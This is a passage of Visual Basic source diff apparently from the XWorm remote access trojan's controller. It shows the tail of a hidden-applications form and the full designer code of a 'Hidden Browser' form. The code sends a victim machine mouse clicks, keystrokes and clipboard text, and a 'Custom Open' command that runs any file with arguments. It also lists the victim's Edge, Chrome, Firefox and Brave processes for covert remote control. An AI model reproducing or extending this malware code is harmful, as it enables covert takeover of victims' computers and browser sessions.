If Guna2GradientButton1.Text = "Capturing..." AndAlso PictureBox1.Image IsNot Nothing AndAlso PictureBox1.ContainsFocus Then
|
||||
|
||||
Dim point As Point = New Point(e.X * rdSize.Width / PictureBox1.Width, e.Y * rdSize.Height / PictureBox1.Height)
|
||||
|
||||
If e.Button = MouseButtons.Left Then
|
||||
Dim B As Byte() = SB("LeftUp" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
If e.Button = MouseButtons.Right Then
|
||||
Dim B As Byte() = SB("RightUp" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
Private Sub PictureBox1_KeyPress(sender As Object, e As KeyPressEventArgs) Handles PictureBox1.KeyPress
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Dim B As Byte() = SB("keyboardClick" & SettingsHelper.SPL & Convert.ToBase64String(Encoding.UTF8.GetBytes(e.KeyChar.ToString())))
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Sub
|
||||
Private Sub PictureBox1_MouseEnter(sender As Object, e As EventArgs) Handles PictureBox1.MouseEnter
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
PictureBox1.Focus()
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub HApps_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("CloseHApps")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub HApps_ResizeEnd(sender As Object, e As EventArgs) Handles Me.ResizeEnd
|
||||
If Guna2ToggleSwitch2.Checked Then
|
||||
Dim B As Byte() = SB("Resize" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2ToggleSwitch2_MouseClick(sender As Object, e As MouseEventArgs) Handles Guna2ToggleSwitch2.MouseClick
|
||||
If Guna2ToggleSwitch2.Checked Then
|
||||
Dim B As Byte() = SB("Resize" & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub CustomOpenToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CustomOpenToolStripMenuItem.Click
|
||||
Using form As CustomOpen = New CustomOpen
|
||||
form.Guna2TextBox1.PlaceholderText = "Filename"
|
||||
form.Guna2TextBox2.PlaceholderText = "Argument"
|
||||
form.StartPosition = FormStartPosition.CenterParent
|
||||
If form.ShowDialog() = DialogResult.OK Then
|
||||
Dim B As Byte() = SB("CustomOpen" & SettingsHelper.SPL & form.Guna2TextBox1.Text & SettingsHelper.SPL & form.Guna2TextBox2.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Using
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton5_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton5.Click
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Dim B As Byte() = SB("paste" & SettingsHelper.SPL & Convert.ToBase64String(Encoding.UTF8.GetBytes(Windows.Forms.Clipboard.GetText)))
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_KeyDown(sender As Object, e As KeyEventArgs) Handles ListView1.KeyDown
|
||||
Try
|
||||
If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then
|
||||
If ListView1.Items.Count > 0 Then
|
||||
For Each x As ListViewItem In ListView1.Items
|
||||
x.Selected = True
|
||||
Next
|
||||
End If
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+432
@@ -0,0 +1,432 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()>
|
||||
Partial Class HBrowser
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()>
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()>
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(HBrowser))
|
||||
BrowserToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
MicrosoftEdgeToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ChromeToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
FireFoxToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
BraveToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
ImageList1 = New System.Windows.Forms.ImageList(components)
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
ToolStripStatusLabel2 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
RefreshToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
PictureBox1 = New System.Windows.Forms.PictureBox()
|
||||
Panel2 = New System.Windows.Forms.Panel()
|
||||
Guna2GradientButton5 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2ComboBox1 = New Guna.UI2.WinForms.Guna2ComboBox()
|
||||
Label2 = New System.Windows.Forms.Label()
|
||||
Panel1 = New System.Windows.Forms.Panel()
|
||||
Label15 = New System.Windows.Forms.Label()
|
||||
Guna2ToggleSwitch2 = New Guna.UI2.WinForms.Guna2ToggleSwitch()
|
||||
Guna2Panel1 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2Panel3 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
Guna2Panel2 = New Guna.UI2.WinForms.Guna2Panel()
|
||||
ListView1 = New System.Windows.Forms.ListView()
|
||||
ColumnHeader3 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
ColumnHeader4 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
Guna2ContextMenuStrip1 = New Guna.UI2.WinForms.Guna2ContextMenuStrip()
|
||||
GetScreenToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
CustomOpenToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
CloseToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
|
||||
StatusStrip1.SuspendLayout()
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
Panel2.SuspendLayout()
|
||||
Panel1.SuspendLayout()
|
||||
Guna2Panel1.SuspendLayout()
|
||||
Guna2ContextMenuStrip1.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'BrowserToolStripMenuItem
|
||||
'
|
||||
BrowserToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
BrowserToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {MicrosoftEdgeToolStripMenuItem, ChromeToolStripMenuItem, FireFoxToolStripMenuItem, BraveToolStripMenuItem})
|
||||
BrowserToolStripMenuItem.Image = CType(resources.GetObject("BrowserToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
BrowserToolStripMenuItem.Name = "BrowserToolStripMenuItem"
|
||||
BrowserToolStripMenuItem.Size = New System.Drawing.Size(162, 22)
|
||||
BrowserToolStripMenuItem.Text = "[ Browser ]"
|
||||
'
|
||||
'MicrosoftEdgeToolStripMenuItem
|
||||
'
|
||||
MicrosoftEdgeToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
MicrosoftEdgeToolStripMenuItem.Image = CType(resources.GetObject("MicrosoftEdgeToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
MicrosoftEdgeToolStripMenuItem.Name = "MicrosoftEdgeToolStripMenuItem"
|
||||
MicrosoftEdgeToolStripMenuItem.Size = New System.Drawing.Size(131, 22)
|
||||
MicrosoftEdgeToolStripMenuItem.Text = "[ Edge ]"
|
||||
'
|
||||
'ChromeToolStripMenuItem
|
||||
'
|
||||
ChromeToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
ChromeToolStripMenuItem.Image = CType(resources.GetObject("ChromeToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
ChromeToolStripMenuItem.Name = "ChromeToolStripMenuItem"
|
||||
ChromeToolStripMenuItem.Size = New System.Drawing.Size(131, 22)
|
||||
ChromeToolStripMenuItem.Text = "[ Chrome ]"
|
||||
'
|
||||
'FireFoxToolStripMenuItem
|
||||
'
|
||||
FireFoxToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
FireFoxToolStripMenuItem.Image = CType(resources.GetObject("FireFoxToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
FireFoxToolStripMenuItem.Name = "FireFoxToolStripMenuItem"
|
||||
FireFoxToolStripMenuItem.Size = New System.Drawing.Size(131, 22)
|
||||
FireFoxToolStripMenuItem.Text = "[ FireFox ]"
|
||||
'
|
||||
'BraveToolStripMenuItem
|
||||
'
|
||||
BraveToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
BraveToolStripMenuItem.Image = CType(resources.GetObject("BraveToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
BraveToolStripMenuItem.Name = "BraveToolStripMenuItem"
|
||||
BraveToolStripMenuItem.Size = New System.Drawing.Size(131, 22)
|
||||
BraveToolStripMenuItem.Text = "[ Brave ]"
|
||||
'
|
||||
'ImageList1
|
||||
'
|
||||
ImageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth32Bit
|
||||
ImageList1.ImageSize = New System.Drawing.Size(20, 20)
|
||||
ImageList1.TransparentColor = System.Drawing.Color.Transparent
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.ImageScalingSize = New System.Drawing.Size(24, 24)
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel1, ToolStripStatusLabel2})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 399)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Padding = New System.Windows.Forms.Padding(1, 0, 9, 0)
|
||||
StatusStrip1.Size = New System.Drawing.Size(629, 22)
|
||||
StatusStrip1.TabIndex = 38
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(71, 17)
|
||||
ToolStripStatusLabel1.Text = "Browsers [0]"
|
||||
'
|
||||
'ToolStripStatusLabel2
|
||||
'
|
||||
ToolStripStatusLabel2.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel2.Name = "ToolStripStatusLabel2"
|
||||
ToolStripStatusLabel2.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel2.Text = ".."
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'RefreshToolStripMenuItem
|
||||
'
|
||||
RefreshToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
RefreshToolStripMenuItem.Image = CType(resources.GetObject("RefreshToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
RefreshToolStripMenuItem.Name = "RefreshToolStripMenuItem"
|
||||
RefreshToolStripMenuItem.Size = New System.Drawing.Size(162, 22)
|
||||
RefreshToolStripMenuItem.Text = "[ Refresh ]"
|
||||
'
|
||||
'PictureBox1
|
||||
'
|
||||
PictureBox1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
PictureBox1.Location = New System.Drawing.Point(0, 59)
|
||||
PictureBox1.Name = "PictureBox1"
|
||||
PictureBox1.Size = New System.Drawing.Size(448, 340)
|
||||
PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
|
||||
PictureBox1.TabIndex = 37
|
||||
PictureBox1.TabStop = False
|
||||
'
|
||||
'Panel2
|
||||
'
|
||||
Panel2.Controls.Add(Guna2GradientButton5)
|
||||
Panel2.Controls.Add(Guna2ComboBox1)
|
||||
Panel2.Controls.Add(Label2)
|
||||
Panel2.Controls.Add(Panel1)
|
||||
Panel2.Controls.Add(Guna2Panel1)
|
||||
Panel2.Controls.Add(Guna2Panel3)
|
||||
Panel2.Controls.Add(Guna2Panel2)
|
||||
Panel2.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Panel2.Location = New System.Drawing.Point(0, 0)
|
||||
Panel2.Name = "Panel2"
|
||||
Panel2.Size = New System.Drawing.Size(629, 59)
|
||||
Panel2.TabIndex = 35
|
||||
'
|
||||
'Guna2GradientButton5
|
||||
'
|
||||
Guna2GradientButton5.BorderRadius = 3
|
||||
Guna2GradientButton5.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton5.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton5.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton5.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton5.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton5.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton5.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton5.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton5.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton5.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton5.Location = New System.Drawing.Point(253, 29)
|
||||
Guna2GradientButton5.Name = "Guna2GradientButton5"
|
||||
Guna2GradientButton5.Size = New System.Drawing.Size(75, 21)
|
||||
Guna2GradientButton5.TabIndex = 82
|
||||
Guna2GradientButton5.Text = "Paste"
|
||||
'
|
||||
'Guna2ComboBox1
|
||||
'
|
||||
Guna2ComboBox1.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2ComboBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.BorderRadius = 3
|
||||
Guna2ComboBox1.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Guna2ComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Guna2ComboBox1.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox1.Font = New System.Drawing.Font("Segoe UI", 8.25!)
|
||||
Guna2ComboBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2ComboBox1.ItemHeight = 15
|
||||
Guna2ComboBox1.Items.AddRange(New Object() {"10%", "20%", "30%", "40%", "50%", "60%", "70%", "80%", "90%", "100%"})
|
||||
Guna2ComboBox1.Location = New System.Drawing.Point(140, 29)
|
||||
Guna2ComboBox1.Name = "Guna2ComboBox1"
|
||||
Guna2ComboBox1.Size = New System.Drawing.Size(107, 21)
|
||||
Guna2ComboBox1.TabIndex = 28
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Label2.AutoSize = True
|
||||
Label2.ForeColor = System.Drawing.Color.Black
|
||||
Label2.Location = New System.Drawing.Point(86, 33)
|
||||
Label2.Name = "Label2"
|
||||
Label2.Size = New System.Drawing.Size(48, 13)
|
||||
Label2.TabIndex = 12
|
||||
Label2.Text = "Quality :"
|
||||
'
|
||||
'Panel1
|
||||
'
|
||||
Panel1.Controls.Add(Label15)
|
||||
Panel1.Controls.Add(Guna2ToggleSwitch2)
|
||||
Panel1.Dock = System.Windows.Forms.DockStyle.Right
|
||||
Panel1.Location = New System.Drawing.Point(437, 21)
|
||||
Panel1.Name = "Panel1"
|
||||
Panel1.Size = New System.Drawing.Size(123, 38)
|
||||
Panel1.TabIndex = 81
|
||||
'
|
||||
'Label15
|
||||
'
|
||||
Label15.AutoSize = True
|
||||
Label15.Location = New System.Drawing.Point(58, 12)
|
||||
Label15.Name = "Label15"
|
||||
Label15.Size = New System.Drawing.Size(52, 13)
|
||||
Label15.TabIndex = 79
|
||||
Label15.Text = "[ Resize ]"
|
||||
'
|
||||
'Guna2ToggleSwitch2
|
||||
'
|
||||
Guna2ToggleSwitch2.Checked = True
|
||||
Guna2ToggleSwitch2.CheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ToggleSwitch2.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ToggleSwitch2.CheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Guna2ToggleSwitch2.CheckedState.InnerColor = System.Drawing.Color.White
|
||||
Guna2ToggleSwitch2.Location = New System.Drawing.Point(17, 8)
|
||||
Guna2ToggleSwitch2.Name = "Guna2ToggleSwitch2"
|
||||
Guna2ToggleSwitch2.Size = New System.Drawing.Size(35, 20)
|
||||
Guna2ToggleSwitch2.TabIndex = 80
|
||||
Guna2ToggleSwitch2.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Guna2ToggleSwitch2.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Guna2ToggleSwitch2.UncheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Guna2ToggleSwitch2.UncheckedState.InnerColor = System.Drawing.Color.White
|
||||
'
|
||||
'Guna2Panel1
|
||||
'
|
||||
Guna2Panel1.Controls.Add(Guna2GradientButton1)
|
||||
Guna2Panel1.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Guna2Panel1.Location = New System.Drawing.Point(69, 0)
|
||||
Guna2Panel1.Name = "Guna2Panel1"
|
||||
Guna2Panel1.Size = New System.Drawing.Size(491, 21)
|
||||
Guna2Panel1.TabIndex = 35
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.Image = Global.XWorm.My.Resources.Resources._Stop
|
||||
Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(15, 15)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(491, 21)
|
||||
Guna2GradientButton1.TabIndex = 34
|
||||
Guna2GradientButton1.Text = "OFF"
|
||||
'
|
||||
'Guna2Panel3
|
||||
'
|
||||
Guna2Panel3.Dock = System.Windows.Forms.DockStyle.Left
|
||||
Guna2Panel3.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2Panel3.Name = "Guna2Panel3"
|
||||
Guna2Panel3.Size = New System.Drawing.Size(69, 59)
|
||||
Guna2Panel3.TabIndex = 37
|
||||
'
|
||||
'Guna2Panel2
|
||||
'
|
||||
Guna2Panel2.Dock = System.Windows.Forms.DockStyle.Right
|
||||
Guna2Panel2.Location = New System.Drawing.Point(560, 0)
|
||||
Guna2Panel2.Name = "Guna2Panel2"
|
||||
Guna2Panel2.Size = New System.Drawing.Size(69, 59)
|
||||
Guna2Panel2.TabIndex = 36
|
||||
'
|
||||
'ListView1
|
||||
'
|
||||
ListView1.BackColor = System.Drawing.Color.White
|
||||
ListView1.BorderStyle = System.Windows.Forms.BorderStyle.None
|
||||
ListView1.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {ColumnHeader3, ColumnHeader4})
|
||||
ListView1.ContextMenuStrip = Guna2ContextMenuStrip1
|
||||
ListView1.Dock = System.Windows.Forms.DockStyle.Right
|
||||
ListView1.Font = New System.Drawing.Font("Tahoma", 8.0!)
|
||||
ListView1.ForeColor = System.Drawing.Color.Black
|
||||
ListView1.FullRowSelect = True
|
||||
ListView1.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable
|
||||
ListView1.HideSelection = False
|
||||
ListView1.Location = New System.Drawing.Point(448, 59)
|
||||
ListView1.Name = "ListView1"
|
||||
ListView1.ShowGroups = False
|
||||
ListView1.ShowItemToolTips = True
|
||||
ListView1.Size = New System.Drawing.Size(181, 340)
|
||||
ListView1.SmallImageList = ImageList1
|
||||
ListView1.Sorting = System.Windows.Forms.SortOrder.Ascending
|
||||
ListView1.TabIndex = 36
|
||||
ListView1.UseCompatibleStateImageBehavior = False
|
||||
ListView1.View = System.Windows.Forms.View.Details
|
||||
'
|
||||
'ColumnHeader3
|
||||
'
|
||||
ColumnHeader3.Text = "[ Browser ]"
|
||||
ColumnHeader3.Width = 85
|
||||
'
|
||||
'ColumnHeader4
|
||||
'
|
||||
ColumnHeader4.Text = "[ PID ]"
|
||||
'
|
||||
'Guna2ContextMenuStrip1
|
||||
'
|
||||
Guna2ContextMenuStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {GetScreenToolStripMenuItem, RefreshToolStripMenuItem, BrowserToolStripMenuItem, CustomOpenToolStripMenuItem1, CloseToolStripMenuItem})
|
||||
Guna2ContextMenuStrip1.Name = "Guna2ContextMenuStrip2"
|
||||
Guna2ContextMenuStrip1.RenderStyle.ArrowColor = System.Drawing.Color.FromArgb(CType(CType(151, Byte), Integer), CType(CType(143, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.BorderColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.ColorTable = Nothing
|
||||
Guna2ContextMenuStrip1.RenderStyle.RoundedEdges = True
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionArrowColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionBackColor = System.Drawing.Color.FromArgb(CType(CType(113, Byte), Integer), CType(CType(74, Byte), Integer), CType(CType(250, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionForeColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SeparatorColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit
|
||||
Guna2ContextMenuStrip1.Size = New System.Drawing.Size(163, 114)
|
||||
'
|
||||
'GetScreenToolStripMenuItem
|
||||
'
|
||||
GetScreenToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
GetScreenToolStripMenuItem.Image = CType(resources.GetObject("GetScreenToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
GetScreenToolStripMenuItem.Name = "GetScreenToolStripMenuItem"
|
||||
GetScreenToolStripMenuItem.Size = New System.Drawing.Size(162, 22)
|
||||
GetScreenToolStripMenuItem.Text = "[ Get Image ]"
|
||||
'
|
||||
'CustomOpenToolStripMenuItem1
|
||||
'
|
||||
CustomOpenToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
CustomOpenToolStripMenuItem1.Image = CType(resources.GetObject("CustomOpenToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
CustomOpenToolStripMenuItem1.Name = "CustomOpenToolStripMenuItem1"
|
||||
CustomOpenToolStripMenuItem1.Size = New System.Drawing.Size(162, 22)
|
||||
CustomOpenToolStripMenuItem1.Text = "[ Custom Open ]"
|
||||
'
|
||||
'CloseToolStripMenuItem
|
||||
'
|
||||
CloseToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
CloseToolStripMenuItem.Image = CType(resources.GetObject("CloseToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
CloseToolStripMenuItem.Name = "CloseToolStripMenuItem"
|
||||
CloseToolStripMenuItem.Size = New System.Drawing.Size(162, 22)
|
||||
CloseToolStripMenuItem.Text = "[ Close ]"
|
||||
'
|
||||
'HBrowser
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(629, 421)
|
||||
Controls.Add(PictureBox1)
|
||||
Controls.Add(ListView1)
|
||||
Controls.Add(StatusStrip1)
|
||||
Controls.Add(Panel2)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
MinimumSize = New System.Drawing.Size(645, 460)
|
||||
Name = "HBrowser"
|
||||
Text = "Hidden Browser"
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
Panel2.ResumeLayout(False)
|
||||
Panel2.PerformLayout()
|
||||
Panel1.ResumeLayout(False)
|
||||
Panel1.PerformLayout()
|
||||
Guna2Panel1.ResumeLayout(False)
|
||||
Guna2ContextMenuStrip1.ResumeLayout(False)
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
|
||||
Friend WithEvents BrowserToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents MicrosoftEdgeToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents ChromeToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents FireFoxToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents BraveToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents ImageList1 As ImageList
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents ToolStripStatusLabel2 As ToolStripStatusLabel
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents RefreshToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents PictureBox1 As PictureBox
|
||||
Friend WithEvents Panel2 As Panel
|
||||
Friend WithEvents Guna2GradientButton5 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
